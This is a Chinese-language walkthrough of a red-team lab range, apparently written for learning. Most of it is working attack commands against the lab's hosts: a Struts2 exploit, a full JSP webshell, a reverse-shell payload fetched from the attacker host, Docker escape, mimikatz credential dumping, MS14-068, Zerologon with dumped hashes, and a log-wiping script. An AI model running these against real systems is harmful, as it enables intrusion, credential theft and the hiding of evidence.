ATT&CK(四)

红队评估四靶场描述

其它靶场下载地址

靶场学习路径,可参考

  • st漏洞利用
  • phpmyadmin getshell
  • tomcat 漏洞利用
  • docker逃逸
  • ms14-068
  • ssh密钥利用
  • 流量转发
  • 历史命令信息泄露
  • 域渗透

环境说明

机器密码

  • ubuntu:ubuntu域成员机器
  • douser:Dotest123DC:
  • administrator:Test2008

图片

外网

信息收集

我们首先对已知的IP(192.168.1.110)进行端口扫描:

1
nmap -T4 -sC -sV 192.168.1.110

2001是struct2

2002是Apache Tomcat/8.5.19

2003是phpmyadmin 没有密码

漏洞利用

1
2
http://192.168.157.132:2003/index.php?target=db_sql.php%253f/../../../../../../../../proc/1/cgroup
# 发现docker
  • Struts2 存在漏洞 S2-045, 远程命令执行,使用工具
1
2
3
.\ST2G.exe --vn 45 --mode exec --url http://192.168.157.132:2001/doUpload.action --cmd "/proc/1/cgroup" 
# 或者使用 ip a和netstat -anopt也可以判断出来是docker, 因为ip不一致
# 发现docker

/proc/1/cgroup主要是看进程的,发现了docker容器

CVE-2017-5638

1
2
3
4
5
6
7
msfconsole
search CVE-2017-5638
use exploit/multi/http/struts2_content_type_ognl
set LHOST 192.168.48.130
set rhosts 192.168.48.129
set targeturi doUpload.action
run

成功上线

docker逃逸

由于在获取的会话执行shell获取的不是完整shell,所以使用pyhton中的pty模块反弹一个完整的shell环境

1
python -c 'import pty;pty.spawn("/bin/bash")'

ip a没有公网ip

判断是否为docker环境

1
2
3
4
5
# 查看.dockerenv 文件,查询系统进程的cgroup信息
# 判断根目录下是否存在 .dockerenv 文件
ls -alh /.dockerenv
# 查看系统的cgroup系统,看是否有docker字样
cat /proc/1/cgroup

image-20230817155632529

发现为docker环境,于是想到docker逃逸

利用dirty cow进行docker逃逸

这种利用方法利用成功的前提是宿主机的内核有dirty cow漏洞

1
2
3
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make

复制

img

在目标主机上无法进行make编译,所以我们只能在攻击机kali上编译之后再起个web服务

img

反弹shell到指定主机的指定端口,但是利用失败了,说明不存在dirtycow漏洞

1
2
3
wget http://192.168.48.130/0xdeadbeef
chmod +x 0xdeadbeef
./0xdeadbeef 192.168.48.130 4444
利用特权模式进行逃逸

管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致我们可以获取大量设备文件访问权限

Struts2获得的shell磁盘文件为空无法利用,可以通过Tomcat的进行利用

上传冰蝎码

img

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
1
2
3
4
5
6
# 查看磁盘文件(Struts2获得的shell磁盘文件为空无法利用,可以通过Tomcat的进行利用)
fdisk -l
# 创建一个文件夹,将宿主机根目录挂载至容器目录下
cd /test
mkdir /test
mount /dev/sda1 /test

image-20230817163849985

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 将id_rsa复制下来,要进入挂载到test目录中的home/ubuntu/.ssh
/test/home/ubuntu/.ssh >cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2

OnKLlXLp+VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q+vUDtH5pkkj
uFu237oUmhvmtCpSuhHaEVu+URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC
R+yVqQZ00xC6Rej2atOP9mONmNnh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CPvniSPrpK/0hPbj
bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3
fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR+sdUX
m/FXcuyargJYyJ0ChyIb+1RnmcLIedxX/m8Nmy+FKb8d36ailr9al2f0HcKNPfv8
a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo
ml853a7WQEIcH8g+3RX1HvmXP+PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC
SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe+vc5S24V6Nuttvkfrtv3MTW8
-----END RSA PRIVATE KEY-----

/test/home/ubuntu/.ssh >
1
2
3
4
5
6
vim id_rsa
# 将其复制进来保存退出
/usr/share/john/ssh2john.py /root/id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# 得到密码ubuntu
ssh ubuntu@192.168.150.132

img

1
2
#切换为root
sudo -l#可以执行任何命令

image-20230817165432146

通过msf生成shell马并起个web服务

1
2
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.48.130 LPORT=4444 -f elf > shell1.elf
python -m http.server 80

image-20230817170139282

利用wget命令下载到ubuntu

1
2
3
wget http://192.168.48.130/shell1.elf
chmod 777 shell1.elf
./shell1.elf

msf启动监听

1
2
3
4
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.48.130
run
1
2
run get_local_subnets
ipconfig

image-20230817173412256

发现内网是192.168.183.0/24

上传fscan

1
2
wget http://192.168.48.130/fscan
chmod +x fscan

./fscan -h 192.168.183.0/24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.183.130 is alive
(icmp) Target 192.168.183.131 is alive
(icmp) Target 192.168.183.132 is alive
[*] Icmp alive hosts len is: 3
192.168.183.131:445 open
192.168.183.130:139 open
192.168.183.131:139 open
192.168.183.131:135 open
192.168.183.130:135 open
192.168.183.132:22 open
192.168.183.130:88 open
192.168.183.130:445 open
[*] alive ports len is: 8
start vulscan
[*] NetInfo:
[*]192.168.183.131
[->]TESTWIN7-PC
[->]192.168.183.131
[+] 192.168.183.131 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1)
[*] NetInfo:
[*]192.168.183.130
[->]WIN-ENS2VR5TR3N
[->]192.168.183.130
[+] 192.168.183.130 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[*] NetBios: 192.168.183.130 [+]DC WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1
已完成 7/8 [-] ssh 192.168.183.132:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

扫描后发现有192.168.183.130``192.168.183.131都存在永恒之蓝漏洞

利用永恒之蓝漏洞

接着通过frp建立代理

上传frp,并下载到ubuntu

1
wget http://192.168.48.130/frp_0.51.3_linux_amd64.tar.gz
1
2
3
4
5
6
7
8
9
10
11
12
13
vim frpc.ini
# 修改如下
[common]
server_addr = 192.168.48.130
server_port = 7000

[socks_proxy]
type = tcp
remote_port = 8989
plugin = socks5
# 运行
./frpc -c ./frpc.ini &

先运行kali后运行被攻击主机成功建立frp隧道

image-20230817201526288

1
2
3
4
5
6
7
8
9
10
use exploit/windows/smb/ms17_010_eternalblue
setg proxies socks5:127.0.0.1:7777
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.137
run
但是192.168.183.130打不进去,猜测有防火墙
setg proxies socks5:127.0.0.1:7777
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
run

使用猕猴桃抓下win7密码

1
2
load kiwi
creds_all

msf派生cs

1
2
3
4
5
6
7
8
use exploit/windows/local/payload_inject
setg proxies socks5:127.0.0.1:7777
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.48.130
set lport 5570
set session 1
run

横向移动

爆破SMB

1
2
3
4
5
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.183.130
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top10000.txt
run

MS14-068

sid需要我们先登录到域用户,迁移到域权限的一个进程上去

1
2
ps -ef

img

从而得到sid:S-1-5-21-979886063-1111900045-1414766810-1107

img

接着通过注册表开启3389(要回到系统权限),我们通过远程桌面来打MS14-068

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

但是这里我们直接登录是不行的

img

于是我们需要先把它换成工作组,但是需要重启比较麻烦,这里就直接通过修改管理员密码并激活

1
2
net user administrator Admin1234
net user administrator /active:yes

成功登录

image-20230817222316593

然后就可以通过工具直接打

1
2
# 生成票据:MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.131
1
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.205.131

复制

img

再通过猕猴桃进行导入

1
2
3
4
5
6
mimikatz.exe
# ptc导入前面生成的文件
kerberos::ptc TGT_douser@demo.com.ccache
# 得到票据
kerberos::list
exit

复制

img

接着再访问一下域控,并尝试访问它的C盘

1
2
3
klist
net view
dir \\WIN-ENS2VR5TR3N\C$

复制

img

然后用psexec64来获取目标的shell

1
PsExec64.exe /accepteula /s \\WIN-ENS2VR5TR3N cmd

复制

img

根据前面fscan扫到的可以再来打一下永恒之蓝

img

但是失败了,猜测开有防火墙,于是用下面这个命令关闭防火墙

1
netsh advfirewall set allprofiles state off

复制

img

最后就可以成功打进去了

img

置零攻击 (CVE-2020-1472)

exp https://github.com/risksense/zerologon

1
2
python3 set_empty_pw.py 域控名字 域控_ip,先将域控密码置零
proxychains python3 set_empty_pw.py WIN-ENS2VR5TR3N 192.168.183.130

image-20230818124844299

获取下 hash

1
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py  demo/WIN-ENS2VR5TR3N$\@192.168.183.130 -no-pass 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
─# proxychains python3 secretsdump.py  demo/WIN-ENS2VR5TR3N$\@192.168.183.130 -no-pass 

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[proxychains] Strict chain ... 127.0.0.1:7777 ... 192.168.183.130:445 ... OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:7777 ... 192.168.183.130:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:7777 ... 192.168.183.130:49155 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c4ed692473d4b4344c3ba01c5e6cb63:::
demo.com\douser:1103:aad3b435b51404eeaad3b435b51404ee:bc23b0b4d5bf5ff42bc61fb62e13886e:::
WIN-ENS2VR5TR3N$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:a772aefa16af47361b57d429183b9000c733995edb5e1aba567876885316e6ed
Administrator:aes128-cts-hmac-sha1-96:70f66ae1073ead2fbac6aa05843aaeb7
Administrator:des-cbc-md5:d96410022f86d5c8
Administrator:rc4_hmac:e45a314c664d40a227f9540121d1a29d
krbtgt:aes256-cts-hmac-sha1-96:7908334cad9f9da66226206650d640bfdce5633d91827f71bb2f9520cccc021d
krbtgt:aes128-cts-hmac-sha1-96:4e43ee83d4f67ba26df9766e1d247a37
krbtgt:des-cbc-md5:8afbf7b6fb68d6c7
krbtgt:rc4_hmac:7c4ed692473d4b4344c3ba01c5e6cb63
demo.com\douser:aes256-cts-hmac-sha1-96:4da088c02bff380e5c4a2730b202f437625edafe74782e228ebfb17d4c7a638f
demo.com\douser:aes128-cts-hmac-sha1-96:6a909313c29211aeb7956574036d9202
demo.com\douser:des-cbc-md5:eaa86b2a941519bc
demo.com\douser:rc4_hmac:bc23b0b4d5bf5ff42bc61fb62e13886e
WIN-ENS2VR5TR3N$:aes256-cts-hmac-sha1-96:dbc729021563cedbdee3a58e1c5957eb32d3fd0617da00e13b650b0c17211047
WIN-ENS2VR5TR3N$:aes128-cts-hmac-sha1-96:fbdc490e057da628beec751bd20eb9e7
WIN-ENS2VR5TR3N$:des-cbc-md5:13c783abbfe32062
WIN-ENS2VR5TR3N$:rc4_hmac:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Cleaning up...

找到aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d

利用wmiexec 脚本横向连接(连接后恢复原始hash)

1
proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d demo.com/administrator\@192.168.183.130 

image-20230818134332686

痕迹清除

清除命令历史记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
histroy -r          #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:

删除当天日志
sed -i '/当天日期/'d filename

一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

windows

1
2
3
4
5
6
1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。

MSF

1
2
run event_manager -i 查看日志
run event_manager -c 删除事件日志

参考文章:

https://cloud.tencent.com/developer/article/2186420

https://x9z8oggqty.feishu.cn/docx/AXfDdLWj5oVYvtxsaQKckY84nSf

https://www.wanan.red/fd34f672.html#痕迹清除